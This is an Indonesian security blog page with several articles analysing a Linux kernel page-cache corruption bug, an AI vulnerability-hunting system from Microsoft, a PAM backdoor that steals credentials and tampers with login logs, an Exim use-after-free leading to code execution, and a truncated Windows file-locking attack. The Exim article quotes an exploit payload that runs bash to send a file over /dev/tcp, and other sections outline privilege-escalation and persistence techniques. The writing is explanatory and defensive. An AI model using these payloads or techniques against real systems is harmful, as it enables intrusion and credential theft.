Fragnesia (CVE-2026-46300): Kerentanan Page Cache Coruption Pada Linux via XFRM ESP-in-TCP - Ethical Hacking Indonesia

CVE-2026-46300 jalur ESP-in-TCP pada subsistem XFRM Linux kernel. Secara praktek bug ini bukan  memory corruption biasa, karena primitive yang didapat attacker langsung menyentuh page cache file-backed. Masalah utamanya bukan berasal dari parser paket yang gagal validasi atau overflow linear klasik. Root cause-nya lebih ke transisi state internal socket buffer setelah patch DirtyFrag sebelumnya mengubah asumsi ownership terhadap page fragment, karena bug ini memiliki kaitan dengan bug atau celah sebelumnya yang yaitu Dirty Frag. Begitu ownership model bergeser, jalur decrypt XFRM mulai bekerja terhadap memori yang sebenarnya masih mereferensikan page cache file asli.

Jalur Masuk: Namespace dan CAP_NET_ADMIN Palsu

Penyerang tidak punya CAP_NET_ADMIN di host utama, tetapi Linux tetap memberikan capability tersebut di namespace baru. Itu cukup untuk: membuat konfigurasi XFRM/IPsec, mengatur ESP-in-TCP, memasang key material melalui NETLINK_XFRM, dan mengontrol lifecycle socket yang dibutuhkan exploit. Kondisi tersebut membuat kondisi supaya kernel memperlakukan buffer tertentu sebagai traffic ESP valid. 

Aktivitas namespace + konfigurasi XFRM oleh proses non-network-facing userland sebetulnya sudah cukup aneh. Terutama bila host bukan appliance VPN atau node tunnel IPsec. Karena penyerang justru bisa menggunakan fitur isolasi ini untuk mendapatkan hak CAP_NET_ADMIN. 

Meskipun hak ini hanya berlaku di dalam kotak namespace tersebut, bug Fragnesia memungkinkan hak tersebut bocor dan memengaruhi Page Cache milik host utama. Ini adalah anomali besar di mana proses yang seharusnya terisolasi bisa memanipulasi memori global sistem. NETLINK_XFRM adalah saluran komunikasi khusus antara proses di userland dan kernel untuk mengatur aturan IPsec. Aktivitas tersebut tidak mungkin dilakukan oleh kondisi normal sistem karena bukan tidak memiliki fungsi dalam sistem.

Bagaimana Page Cache Bisa Masuk ke Receive Queue

Bagian penting exploit ada di penggunaan splice(), normalnya fungsional sistem receive queue TCP diisi skb yang berasal dari jaringan. Di bug ini justru memasukkan data dari file-backed page ke queue socket, sehingga membuat kernel menyimpan fragment yang masih terhubung ke page cache file asli. Ini penting karena sebagian besar mitigasi memory corruption modern bergantung pada pemisahan ownership memori: network buffer dianggap transient, page cache dianggap persistent, crypto transform diasumsikan bekerja pada buffer private. 

Fragnesia mematahkan asumsi tersebut, patch DirtyFrag sebelumnya ternyata mengubah alur tertentu sehingga fragment hasil splice tidak lagi diperlakukan secara defensif saat state socket berubah menjadi ESP-in-TCP, akibatnya fragment file-backed tersebut ikut melewati jalur decrypt. 

Root Cause: State Transition Socket yang Salah Asumsi

Masalah sebenarnya muncul ketika ESP-in-TCP diaktifkan setelah queue sudah terisi fragment splice, karena kernel menganggap data yang ada di receive queue merupakan payload ESP terenkripsi yang aman untuk diproses in-place padahal buffer tersebut bukan hasil receive jaringan biasa dan masih memegang referensi ke page cache file asli. Di jalur internal XFRM, decrypt dilakukan langsung terhadap fragment tanpa memastikan backing memory aman dimodifikasi. 

Di jalur internal XFRM, decrypt dilakukan langsung terhadap fragment tanpa memastikan backing memory aman dimodifikasi. Flow konseptual: file page cache - splice() - TCP receive queue - ESP-in-TCP enabled - XFRM decrypt path - in-place XOR transform - page cache corruption. Masalahnya adalah decrypt path memang dirancang untuk melakukan modifikasi buffer langsung agar supaya proses efisiensi, pada jalur normal itu valid karena skb payload mutable. Begitu fragment berasal dari page cache, model mutability berubah total, dan bug ini terjadi karena networking subsystem, page cache, dan crypto transform (boundary).

Primitive Utama: Controlled XOR ke File-Backed Memory

Primitive exploit Fragnesia cukup clean karena ESP decryption pada dasarnya menghasilkan plaintext = ciphertext XOR keystream. Karena proses exploit bekerja dengan mengontrol: ciphertext key, material XFRM, dan timing aktivasi ESP yang bisa memprediksi hasil akhir XOR pada fragment page cache. Jadi ini bukan arbitrary write penuh seperti memcpy bebas offset. Lebih ke deterministic bit manipulation terhadap cached executable content. Executable ELF sangat sensitif terhadap beberapa byte awal: entry stub, branch instruction, credential check, dan loader path. 

Perubahan kecil bisa mengubah flow eksekusi total, Dalam demonstrasi, target yang dipakai adalah /usr/bin/su. penggunaan file tersebut karena, executable tersebut hampir selalu tersedia, dijalankan setuid root, dan mudah dipicu ulang setelah page cache berubah. Disk file asli tetap utuh, coruption hanya terjadi pada representasi cached di memori kernel. Karena Linux lebih memilih page cache dibanding reload disk langsung, proses baru akan mengeksekusi versi yang sudah dimodifikasi exploit.

Kenapa Primitive Kecil Ini Cukup untuk Root

Fragnesia menargetkan executable privileged, attacker tidak perlu ROP kompleks atau pivot heap besar. Mereka cuma perlu: memodifikasi beberapa instruction, mem-bypass auth branch atau mengganti flow menuju shell spawn sederhana. Begitu binary setuid dieksekusi ulang, privilege escalation terjadi secara natural lewat mekanisme UNIX normal. 

Yang membuatnya menarik adalah exploit chain ini hampir tidak menyentuh userspace memory corruption tradisional. Tidak ada: stack smash, heap feng shui besar, dan use-after-free klasik. Eksploitasi murni bermain di: page ownership, skb fragment lifecycle, dan crypto transform semantics. 

Kenapa Patch DirtyFrag Melahirkan Bug Baru

Fragnesia cukup relevan buat developer kernel karena memperlihatkan pola umum patch regression pada subsistem kompleks. DirtyFrag sebelumnya mencoba memperbaiki corruption flow tertentu dengan mengubah handling fragment dan reference semantics. Tetapi perubahan kecil pada ownership expectation ternyata membuka jalur baru ketika: socket state berubah dinamis, fragment sudah berada di queue, dan subsystem lain mengasumsikan buffer mutable ini tipe bug yang sulit terlihat lewat audit lokal. Karena secara teknis splice logic tampak, XFRM decrypt, skb handling tampak valid.

Masalah baru muncul ketika seluruh lifecycle digabung, itulah sebabnya fuzzing subsystem tunggal sering tidak cukup untuk bug seperti ini.

Langkah Mitigasi

Kalau host tidak membutuhkan IPsec ESP:  printf 'install esp4 /bin/false\ninstall esp6 /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf rmmod esp4 esp6 2>/dev/null. Pendekatan ini efektif karena memotong jalur exploit sebelum XFRM ESP aktif. Kalau IPsec wajib dipakai, pembatasan user namespace lebih relevan: echo "user.max_user_namespaces=0" > /etc/sysctl.d/dirtyfrag.conf sysctl --system. 

Ini tidak memperbaiki bug inti, tetapi memutus kemampuan attacker memperoleh CAP_NET_ADMIN terisolasi. Untuk environment containerized, mitigasi ini perlu dihitung hati-hati karena banyak runtime modern bergantung pada user namespaces dan patch kernel terbaru tetap jadi solusi utama karena root cause ada pada transisi ownership fragment di jalur XFRM.

Baca Juga Tentang: CopyFail DirtyFrag

Benediktus Sava – Security Researcher

Sumber:

RedHat Wiz Canonical CloudLinux

MDASH AI Security Microsoft Menemukan UAF di Kernel Windows - Ethical Hacking Indonesia

Selama bertahun-tahun, static analysis di kernel Windows selalu mentok di titik yang sama: local reasoning. Scanner bisa melihat sinkronisasi yang hilang dalam satu fungsi, bisa melihat dereference setelah free secara linear, tapi mulai gagal ketika lifecycle object tersebar lintas callback, lintas subsystem, atau bahkan lintas file yang ownership-nya implisit.

MDASH mencoba menyelesaikan masalah itu bukan dengan model lebih pintar, tetapi dengan memecah proses audit menjadi sistem reasoning bertingkat.Yang menarik bukan sekadar penggunaan LLM. Banyak vendor sudah melakukan itu. Yang berubah di sini adalah bentuk orchestration-nya.

Microsoft membangun harness yang memperlakukan vulnerability research seperti proses engineering internal: ada auditor, ada debater, ada prover, lalu semuanya bekerja di atas plugin domain-specific yang memahami aturan kernel sebenarnya.

Masalah Utama Scanner Tradisional

Mayoritas scanner gagal pada bug modern karena state corruption sekarang jarang bersifat lokal. Race-condition kernel modern hampir selalu melibatkan: reference counting, deferred cleanup, asynchronous completion, ownership ambiguity, allocator reuse di CPU berbeda, dan kondisi state machine protocol yang tidak linear.

Pada CVE-2026-33827 di tcpip.sys, masalahnya bukan hanya pointer dipakai setelah free tetapi bug muncul karena lifecycle object path routing berubah saat opsi IPv4 SSRR diproses dalam jalur penerimaan paket. Objek kehilangan reference lebih awal, lalu execution flow lain masih menganggap object tersebut valid. Di sistem SMP, window race menjadi cukup besar karena allocator kernel bisa langsung mendaur ulang chunk yang baru dibebaskan sebelum traversal berikutnya selesai menggunakan pointer lama.

Scanner biasa cenderung gagal karena: free terjadi di file berbeda, dereference terjadi di callback, berbeda timing corruption, bergantung scheduler ownership, dan object tidak eksplisit di AST lokal. Dengan MDASH masalah ini bisa di pecahkan menjadi reasoning graph lintas state, bukan sekadar pattern matching syntax seperti pada teknik tradisional atau konvesional. 

Prepare Stage

Tahap prepare terdengar sederhana di dokumentasi Microsoft, tetapi sebenarnya ini fondasi penting. Mereka tidak hanya membangun symbol index namun membangun konteks eksploitasi melalui record atau dokumentasi sebelumnya. Riwayat commit digunakan untuk memetakan area kode yang historically fragile: parser jaringan, lock-heavy subsystem, IRP dispatch chain, allocator-sensitive path, legacy compatibility layer. Ini penting karena bug kernel modern sering muncul di area yang sudah lama mengalami patch churn. Semakin sering suatu subsystem disentuh untuk compatibility atau hardening, semakin tinggi probabilitas invariant internal mulai beribah ke arah yang bisa memicu kerentanan atau bug.

Untuk ethical hacker, hal ini menarik karena secara praktis meniru workflow manusia saat triage target besar: cari subsystem yang historically noisy,  ownership ambiguity, asynchronous cleanup, dan transisi state yang tidak lengkap. MDASH hanya mengotomatisasi proses itu dalam skala besar. 

Auditor dan Debater: Kenapa False Positive Bisa Turun

Static analyzer biasanya menghasilkan noise besar karena semua path dianggap reachable sampai dibuktikan sebaliknya, MDASH memiliki kemampuan untuk menguji hasil dari static analyzer dengan cara agent auditor melakukan dugaan atau hipotesis dan di debat oleh agent debater dengan tujuan untuk mematahkan asumsi atau membuktikan asumsi tersebut yang di hasilkan oleh debater, dan sekara teknis ini merupakan teknik merubah disagreement menjadi signal yang diperhitungkan oleh agent. Jika auditor tetap bertahan setelah proses adversarial internal, confidence score naik. Secara praktis, ini mirip proses code review antar exploit developer. Sistem yang terlalu agresif menghasilkan ribuan laporan tidak berguna. Dalam environment kernel production, noise seperti itu lebih berguna daripada missed bug kecil.

CVE-2026-33827: Race-Condition UAF di tcpip.sys

Temuan CVE dari MDASH ini menunjukan bahwa SSRR sendiri bukan jalur kode yang sering diuji sehingga langsung meningkatkan probabilitas invariant lama tertinggal, sebab MDASH perlu melihat histori dari dokumentasi yang di berikan. Berikut merupakan flow teknis dari CVE ini:

1. Paket IPv4 dengan opsi routing diproses 

2. Path object dibuat/referenced

3. Kondisi tertentu memicu pelepasan reference lebih awal

4. Traversal networking lain masih menyimpan pointer lama

5. CPU lain melakukan allocator reuse

6. Stale pointer dipakai ulang dalam jalur navigasi paket

Yang membuat ini berbahaya bukan UAF tetapi reuse karena dalam kernel networking, reuse allocator sering terjadi sangat cepat karena traffic packet processing bersifat bursty dan highly parallel. Akibatnya attacker tidak selalu perlu kontrol presisi penuh terhadap heap layout. Kadang cukup menciptakan pressure allocator yang membuat object lama tertimpa struktur baru dengan shape yang kompatibel sebagian.

Cross-File Reasoning pada ikeext.dll

CVE-2026-33824 lebih menarik dari sisi ownership semantics, masalah yang terjadi adalah shallow copy melalui memcpy Ketika struktur internal IKEv2 disalin tanpa menduplikasi pointernya, ownership berubah ambigu: subsystem A merasa memiliki buffer, subsystem B merasa hasil copy adalah ownership baru, cleanup berjalan independen, dan allocator menerima dua free untuk chunk sama. Yang penting justru hubungan implicit antar state, di sinilah model reasoning lintas file menjadi relevan. Banyak exploit modern muncul bukan karena fungsi berbahaya tunggal, tetapi karena dua subsystem berbeda memiliki asumsi ownership yang bertentangan. 

Prove Stage

Prove stage ini menjadi bagian yang sangat berbeda dari tools AI lain karena MDASH mencoba membangun trigger aktual. dengan kondisi bahwa sistem harus melakukan tahap memahami constraint parser, memahami format input valid, memahami jalur reachability, dan memahami bagaimana sanitizer mendeteksi corruption. Secara praktek ini sudah mendekati automated exploit triage. 

Bahkan kegagalan yang disebut Microsoft cukup revealing atau memberikan output yang di mana AI menghasilkan format input untuk libFuzzer, padahal harness target menggunakan honggfuzz. Kondisi tersebut memperlihatkan adanya pergeseran pandangan dari cara tools digunakan untuk mencari bug yang sebelumnya tunggal kini mulai menggunakan konteks operasional saat mencari kerentanan. 

Plugin Domain-Specific

Bagian paling penting dari MDASH bukan model frontier saja tetapi plugin internal yang digunakan, kernel Windows penuh aturan implisit: siapa yang boleh free IRP, kapan spinlock harus dilepas ,APC state apa yang valid, object mana yang reference-counted, callback mana yang berjalan di DISPATCH_LEVEL. Ini juga menjelaskan kenapa MDASH bisa mencapai recall tinggi pada tcpip.sys dan clfs.sys. Mereka menginputkan pengetahuan invariant internal langsung ke reasoning pipeline. 

Ini juga memperlihatkan kepada kita bahwa suatu saat yang hebat atau yang jago itu bukan lagi yang paham cara reverse engineering manual tapi yang memiliki pemahaman tentang plugin yang data tersebut bisa di berikan kepada AI tentang sistem yang di targetkan. 

Limitasi MDASH

82% failure di benchmark berasal dari task description yang ambigu yang diuji oleh CyberGym artinya sistem masih membutuhkan anchor awal. Jika target benar-benar undocumented, reasoning graph kemungkinan mulai mengalami ambigu karena model kehilangan arah eksplorasi dan ini menjadi tantangan AI dalam konteks cyber security kepedan karena, dalam cyber security yang hands-on memiliki noise yang sangat singgi sekali sedangkan AI memerlukan data clear untuk membangun konteks yang tepat. 

Dampak terhadap Ethical Hacking

MDASH mengubah cara pekerjaan vulnerability research, Bug sederhana kemungkinan akan habis lebih dulu oleh sistem internal vendor. Jadi bug yang memiliki potensi tersihsah untuk publik bisa memiliki kompleksitas yang sangat tinggi seperti semantic corruption, state desynchronization, logic race, protocol confusion, trust-boundary mismatch. Artinya practical value seorang researcher mulai bergeser ke: memahami invariant internal, membangun plugin reasoning, memahami allocator behavior, memahami lifecycle asynchronous, dan pada akhirnya mengajari AI tentang subsystem tertentu. 

Dalam beberapa tahun ke depan, kemungkinan besar competitive edge bukan lagi siapa punya model terbesar, tetapi siapa punya harness paling matang untuk menghubungkan: LLM, sanitizer, symbolic execution, protocol mutator, historical patch intelligence, ownership reasoning, exploit triage.

MDASH menjadi realisasi terhadap kemampuan AI Model untuk memasuki area cyber security yang kemudian akan terus berkembang kedepan, kondisi ini tidak secara otomatis membuat manusia tergantikan. Karena sangat diperlukan pertanggung jawaban terhadap sebuah tindakan yang dibuat dalam konteks keamanan apalagi di tingkat korporasi akuntabilitas dan pertanggung jawab sangat di perlukan. Pola kedepan yang sangat mungkin terjadi yaitu AI vs AI, kemudian manusia sangat perlu memahami hal-hal mendasar tentang sistem agar memahami apa yang dikerjakan oleh AI itu sendiri. 

Pada realitasnya AI bisa mencari kerentanan tetapi yang memahami sistem keseluruhan apalagi pada tingkat infrastruktu perusahaan adalah manusia, karena sistem yang besar dan kompleks itu perlu sekali fleksibilitas yang tinggi dalam menanganinnya, contoh yang bisa kita ambil bahwa ketika terjadi gangguan pada sistem sebuah perusahaan pada waktu tertentu akan sangat berbeda dengan gangguan pada waktu yang bisa di pahami AI ini juga memberikan gap antara AI yang kaku karena memerlukan pola dan kepastian dokumentasi dengan manusia yang sangat flesibel dan mampu memahami logic secara keseluruhan dalam kondisi tertentu. Jadi AI itu sanagt cepat tetapi potensi buta ketika tidak ada arah itu sangat tinggi dan ini bisa menimbulkan bahaya, sedangkan manusia itu cendrung lambat namun memahami dan perkerjaan bisa di delegasikan kepada siapaun.

Benediktus Sava – Security Researcher

Baca Juga tentang:

GhostLock - Internal Windows

False Positive - Windows Behaviour

Sumber:

Microsoft GeeekWire

PamDOORa: Backdoor PAM Linux dan Jalur Persistensi di Layer Autentikasi - Ethical hacking Indonesia

Sebagian besar implant Linux bermain di layer proses, LD_PRELOAD, service systemd, atau hooking SSH daemon secara langsung. PamDOORa mengambil jalur yang lebih rendah: masuk ke stack PAM dan membiarkan seluruh aplikasi autentikasi memanggil backdoor tersebut secara legitim. Itu mengubah karakter ancamannya secara signifikan, Begitu modul PAM termuat ke dalam alur autentikasi, targetnya bukan lagi SSH saja. 

Yang sebenarnya diambil alih adalah mekanisme validasi identitas sistem. SSH, sudo, console login, hingga beberapa service enterprise berbasis PAM semuanya melewati stack yang sama. Di sini menariknya bukan sekadar persistensi, tetapi posisi eksekusi. PamDOORa berjalan sebelum aplikasi benar-benar menyelesaikan proses autentikasi mereka sendiri.

Kenapa PAM Menjadi Target yang Sangat Efisien PAM pada Linux pada dasarnya adalah dispatcher autentikasi modular. Aplikasi seperti sshd tidak selalu memvalidasi password secara mandiri. Mereka menyerahkan proses itu ke stack PAM melalui call seperti: pam_authenticate() pam_acct_mgmt() pam_open_session(). Urutan modul ditentukan melalui file di: /etc/pam.d/ common-auth system-auth PamDOORa memanfaatkan sifat chaining ini.

Bukan dengan mengganti pam_unix.so, implant menambahkan modul baru seperti pam_linux.so lalu menyisipkannya menggunakan flag sufficient. berikut adalah flow dari modul pam: sshd - pamStack - (pam_linuxso - (impalnt) - pamunix.so - modul normal yang lain)

Karena menggunakan sufficient, modul berbahaya bisa menghentikan chain lebih awal ketika kondisi tertentu terpenuhi. Artinya autentikasi valid tidak perlu pernah mencapai pam_unix.so. Banyak implementasi backdoor lama melakukan patch langsung ke OpenSSH atau libc. Problemnya, perubahan seperti itu relatif mudah ditemukan melalui:

• package verification
• checksum mismatch
• RPM/DPKG integrity
• EDR process telemetry

PamDOORa menghindari area tersebut dan memilih layer middleware autentikasi yang lebih jarang dipantau secara ketat. PamDOOR sulit di lacak atau ditemukan karena network-awareness. yaitu modul yang melakukan pengecekan password dan juga melakukan inspeksi metadata koneksi melalui /proc/[pid]/fd.

Baca Juga Tentang: Linux Internals Shell

Terdapat routine seperti procFindConnectionSocket yang kemungkinan melakukan traversal file descriptor untuk mencari socket aktif milik proses autentikasi, dengan tujuan validasi source connection validasi port TCP tertentu validasi jenis socket/protocol. kemudian adanya implikasi bahwa scanner otomatis atau analyst yang mencoba brute-force trigger password tidak akan pernah melihat perilaku abnormal jika koneksi tidak memenuhi kondisi socket tersebut. backdoor pam ini berada pada jalur berbeda dari scanner biasa, cara ini lebih senyap ketimbang harus implant SSH tradisional yang meninggalkan conditional branch jelas di flow autentikasi utama.

pam juga memiliki akses kredensial cleartext sebelum lifecycle atau siklus autentikasi selesai. Begitu user memasukkan password ke SSH, PAM menerima credential sebelum: hashing internal, session setup, logging aplikasi, beberapa kontrol audit jadi pam membuka jalur baru. jadi secara teknis ini merupakan intersepsi, yang membedakan pam dari keylogging. Jadi implant tinggal mengambil parameter autentikasi lalu meneruskannya kembali agar login terlihat normal. Berikut Flow dari Pam:

User login - sshd menerima credential - pam_authenticate() - pam_linux.so membaca  username/password - credential disimpan - flow diteruskan ke modul asli. 

Dari sudut pandang admin dan juga user biasa, tidak ada anomali yang berbeda dari logic sistem yang ada. Karena password diambil sebelum logging aplikasi, banyak solusi detection berbasis SSH telemetry kehilangan visibility ketika kondisi seperti ini terjadi. 

Data-data yang di ambil kemudian di simpan di dir yang minim pengawasan /temp menggunakan XOR runtime key. Untuk menghindari deteksi pam membuat nama dan timestamp yang dinamis agar supaya noise bercampur atau tidak terlihat tidak nomal pada sistem. Di server enterprise, /tmp sering penuh file sementara dari: package manager, container runtime, service daemon cache aplikasi, sehingga Credential dump kecil dengan nama pseudo-random sulit terdeteksi di dir /temp. 

Baca Juga Tentang: Malware Obfuscation

Pam manipulasi wtmp, utmp, btmp, dan lastlog File-file tersebut adalah database biner yang dipakai utilitas seperti: last, who, w, lastb. Jika implant memodifikasi record langsung di level struktur, maka tool forensik standar akan tetap menampilkan output yang terlihat konsisten. Sebagian besar investigasi awal Linux masih sangat bergantung pada timeline login. Jika timeline tersebut sudah dikorupsi sejak awal, maka: kapan akses pertama terjadi, akun mana yang dipakai, IP mana yang terlibat, kapan privilege escalation dilakukan, sehingga memicu inkonsistensi integritas data yang ditemukan oleh forensik. 

Implat yang dipakai oleh backdoor pam juga menggunakan PAM_IGNORE, Dalam beberapa implementasi PAM, return code seperti PAM_IGNORE memungkinkan modul keluar tanpa memicu failure handling tertentu. Efeknya: noise logging lebih kecil minim autentikasi gagal mencurigakan chain PAM tetap terlihat normal. 

Sebagian besar EDR Linux masih sangat process-centric, yang kuat mendeteksi: process injection, privilege escalation aneh, syscall abnormal malware userland, sedangkan Pam berada di jalur yang memang dipercaya atau trusted way sebagai tempat normalnya sebuah sistem berjalan. Proses sepeerti sshd memanggil PAM kemudian PAM membuat .so lalu kredensial di proses merupakan prilaku normal pada sistem. Akibatnya visibility detection menjadi sulit atau abu-abu kecuali defender memiliki: File Integrity Monitoring, baseline hash modul PAM, audit perubahan /etc/pam.d/, audit loading shared object, remote immutable logging. kalau tidak  implant bisa bertahan lama tanpa menyentuh indikator noisy seperti persistence service atau reverse shell konvensional.

Baca Juga Tentang: Kredensial Attack SSH

Bagi developer dan sysadmin, indikator paling penting justru bukan network IOC saja, Yang lebih relevan: perubahan urutan modul PAM, munculnya .so asing, penggunaan flag sufficient yang tidak biasa, perubahan timestamp pada /etc/pam.d/, shared object baru di path security module. dan juga penting untuk melakukanaudit terhadap path /usr/lib64/security/, /lib/security/, /etc/pam.d/. 

Baca Juga Tentang: Persistence Linux

Untuk detection engineer, masalah utamanya adalah local log tidak lagi bisa dipercaya penuh setelah implant aktif. Jika wtmp dan btmp dapat dimanipulasi, maka autentikasi harus dikorelasikan dengan: NetFlow, firewall log, bastion telemetry, SIEM eksternal, auditd remote forwarding, MFA juga membantu, tetapi konteksnya perlu tepat. Karena implant berada sebelum validasi selesai, password tetap bocor walaupun MFA aktif. MFA hanya membatasi reuse credential secara langsung. Kalau attacker sudah mendapatkan: SSH private key, session hijack, sudo token akses, internal tambahan maka password hanyalah salah satu bagian kompromi.

PamDOOR memiliki design yang berfokus pada: persistensi jangka panjang, stealth operasional, anti-forensik, kontrol akses berbasis kondisi jaringan. Linux server sekarang menyimpan: workload cloud,  container orchestration, secret management, CI/CD pipeline, credential infrastructure, jadi kalau terjadi serangan maka Attacker tidak lagi perlu menarget endpoint desktop secara eksklusif tetapi menguasai satu node Linux dengan implant autentikasi seperti ini memberi akses yang lebih strategis dibanding kompromi workstation biasa.

Melalui PamDOOR ini adanya fragmentasi identitas di berbagai komunitas bawah tanah, di mana tim peneliti Flare mengidentifikasi setidaknya lima persona berbeda yang beroperasi dengan tingkat keahlian yang kontras. Sosok paling menonjol ditemukan di forum Rehub (berbahasa Rusia), yang menjual PamDOORa dan dinilai memiliki kredibilitas teknis tinggi karena penguasaan mendalam pada internal Linux, berbeda jauh dengan persona di forum seperti SpyHackerz yang berfokus pada RAT tingkat menengah, atau di NulledBB yang lebih condong ke arah penipuan dan jual beli data bocor.

Benediktus Sava – Security Researcher

Sumber:

Cyberark

Flare

Exim BDAT UAF: Analisa RCE pada GnuTLS SMTP Server - Ethical Hacking Indonesia

Bug ini sebenarnya bukan bug parsing SMTP biasa. Masalah muncul dari cara Exim menangani transisi antara wrapper BDAT dan sesi TLS GnuTLS saat transfer body email masih berjalan. CVE-2026-45185 pada Exim adalah contoh yang sangat jelas tentang bagaimana satu byte write-after-free dapat berkembang menjadi jalur remote code execution yang kompleks.

Bug ini hanya mempengaruhi Exim yang dibangun menggunakan backend GnuTLS. Attacker mengirim STARTTLS, memulai transfer BDAT, lalu menutup sesi TLS di waktu yang tidak tepat. Namun di balik itu, terjadi inkonsistensi state antara wrapper BDAT dan layer TLS internal Exim.

Saat client menjalankan STARTTLS, Exim membuat sesi gnutls_session_t baru dan mengganti seluruh callback receive SMTP menjadi wrapper TLS seperti tls_getc() dan tls_ungetc(). Setelah handshake selesai, Exim membuat xfer_buffer, yaitu buffer plaintext berukuran 4096 byte yang dipakai untuk menerima hasil dekripsi dari gnutls_record_recv().

Masalah mulai muncul ketika SMTP masuk ke mode BDAT. Berbeda dengan DATA, mekanisme BDAT membaca body email berdasarkan ukuran chunk mentah yang ditentukan client. Untuk menangani ini, Exim membangun lapisan callback tambahan. Callback receive lama disimpan ke variabel lwr_receive_*, lalu callback aktif diganti dengan wrapper BDAT seperti bdat_getc() dan bdat_ungetc().

Secara internal, jalurnya berubah menjadi seperti ini:

bdat_getc() - lwr_receive_getc() - tls_getc() - gnutls_record_recv()

Artinya BDAT sebenarnya tidak membaca langsung dari socket, tetapi masih bergantung pada callback TLS lama yang disimpan sebelumnya. Trigger vulnerability terjadi ketika attacker mengirim close_notify sebelum transfer BDAT selesai. Pada kondisi ini, tls_refill() menerima EOF dari GnuTLS dan memanggil tls_close(). Fungsi tersebut menghancurkan sesi TLS dan membebaskan xfer_buffer menggunakan store_free().

Masalahnya, tls_close() hanya mengembalikan callback utama ke mode SMTP plaintext. Callback lama yang tersimpan di lwr_receive_* tidak disentuh sama sekali. Dengan kata lain, wrapper BDAT masih menyimpan referensi ke fungsi TLS yang seharusnya sudah tidak valid.

Pointer xfer_buffer dibebaskan tetapi tidak di-null-kan. Setelah TLS ditutup, parser BDAT tetap berjalan karena chunk body belum selesai diproses. Ketika parser mencoba memperbaiki line ending, Exim memanggil:

bdat_ungetc('\n'); Yang kemudian masuk ke tls_ungetc() dan melakukan write atau menulis ssl_xfer_buffer[--ssl_xfer_buffer_lwm] = ch; 

inilah use-after-free benar-benar terjadi. ssl_xfer_buffer masih menunjuk ke heap chunk yang sudah dibebaskan beberapa langkah sebelumnya. Primitive utama vulnerability ini hanyalah overwrite satu byte berupa \n atau \r. Namun dalam konteks allocator modern, satu byte overwrite pada metadata heap sering kali sudah cukup untuk mengubah bentuk allocator secara drastis. Peneliti XBOW menunjukkan bahwa byte tersebut dapat diarahkan ke field metadata allocator sehingga memungkinkan manipulasi ukuran chunk dan struktur freelist.

Baca Juga Tentang: use-after-free

Hal yang membuat exploit semakin realistis adalah jalur DKIM Exim sendiri. Setelah TLS dihentikan, parser Exim fallback ke mode plaintext dan mulai membaca sisa body email melalui smtp_getc(). Data body tersebut kemudian diproses oleh dkim_exim_verify_feed(), yang melakukan allocation tambahan menggunakan store_malloc().

Ini memberi attacker kemampuan heap grooming di tengah window use-after-free berlangsung. Dengan mengontrol ukuran body email, attacker dapat memaksa allocator mengisi ulang area heap bekas xfer_buffer dengan data yang mereka kendalikan. Walaupun allocation DKIM bersifat temporer, glibc tidak menghapus isi chunk setelah free sehingga data attacker tetap tertinggal di heap. Di sinilah eksploitasi mulai berkembang dari sekadar crash menjadi primitive memory corruption yang lebih serius.

Eksploitasi awal yang dibuat XBOW menggunakan pendekatan khas heap exploitation Linux modern: merusak largebin glibc, meng-overlap FILE structure, lalu melakukan FSOP untuk mendapatkan kontrol eksekusi melalui fflush(). Teknik ini akhirnya memanfaatkan setcontext() untuk pivot ke ROP chain. 

Exim menggunakan allocator custom bernama store, yang bekerja dengan pool allocator seperti POOL_MAIN, POOL_MESSAGE, dan POOL_TAINT_MAIN. Setiap pool memiliki metadata berupa storeblock dan pooldesc. Dengan overwrite satu byte terhadap field length allocator, exploit dapat membuat Exim percaya bahwa sebuah block heap memiliki ukuran jauh lebih besar dibanding ukuran sebenarnya. 

Akibatnya attacker memperoleh primitive bump allocator palsu. Primitive ini memungkinkan attacker mengontrol posisi allocation berikutnya di pool allocator Exim melalui command SMTP biasa.. Dalam exploit XBOW, primitive ini akhirnya digunakan untuk menimpa pointer global acl_smtp_predata agar menunjuk ke payload ACL attacker. Payload tersebut memanfaatkan fitur ekspansi string Exim ${run{/bin/bash -c 'cat</flag>/dev/tcp/...'}}

Ketika command DATA diproses, Exim mengeksekusi payload tersebut dan attacker memperoleh eksekusi command penuh. Bug ini muncul karena BDAT masih menyimpan callback tls_* setelah tls_close() membebaskan xfer_buffer. Jadi parser body masih mengakses layer TLS yang sebenarnya sudah teardown.

Masalah utamanya ada pada state yang tidak benar-benar reset setelah tls_close(). Callback utama memang dikembalikan ke smtp_*, tetapi lwr_receive_* milik BDAT masih menunjuk ke tls_* wrapper lama. Pada saat yang sama parser body masih aktif dan DKIM tetap melakukan allocation tambahan. Semua subsystem bekerja dengan asumsi state berbeda pada waktu yang sama.

Bagi developer daemon jaringan, ini adalah contoh nyata bahwa bug memory corruption modern sering muncul bukan dari parser tunggal, melainkan dari interaksi antar abstraction layer yang saling membungkus satu sama lain.

Kerentanan ini mempengaruhi Exim 4.97 hingga 4.99.2 dengan backend GnuTLS. Build berbasis OpenSSL tidak terdampak. Saat ini satu-satunya mitigasi yang benar-benar aman adalah upgrade ke Exim 4.99.3, karena patch memperbaiki reset callback dan state parser ketika close_notify diterima di tengah transfer BDAT aktif.

Benediktus Sava – Security Researcher

Sumber:

Xbow

Exim

GhostLock dan Abuse CreateFileW untuk Melumpuhkan SMB - Ethical Hacking Indonesia

Selama bertahun-tahun, hampir seluruh strategi pertahanan ransomware dibangun di atas pola yang sama: deteksi enkripsi massal, perubahan ekstensi file, aktivitas write abnormal, atau komunikasi command-and-control. Teknik ini tidak mengenkripsi file, tidak mengubah isi data, dan bahkan tidak memerlukan privilege administrator. Namun dari sisi korban, dampaknya tetap seperti ransomware karena file bisnis menjadi tidak dapat diakses.

GhostLock memanfaatkan perilaku bawaan Windows melalui API "CreateFileW()", khususnya parameter "dwShareMode". Dalam operasi normal, parameter ini menentukan apakah proses lain boleh membuka file yang sama untuk read, write, atau delete. Ketika nilai "dwShareMode "diatur menjadi 0, Windows memberikan akses eksklusif kepada proses yang pertama kali membuka file tersebut. Selama handle masih aktif, proses lain yang mencoba membuka file akan menerima "STATUS_SHARING_VIOLATION".

Secara teknis, ini bukan vulnerability maupun bug. Windows memang dirancang bekerja seperti itu sejak lama. Justru di sinilah masalahnya. Karena perilaku tersebut dianggap valid oleh sistem operasi, hampir seluruh mekanisme keamanan modern melihat aktivitas GhostLock sebagai operasi file biasa.

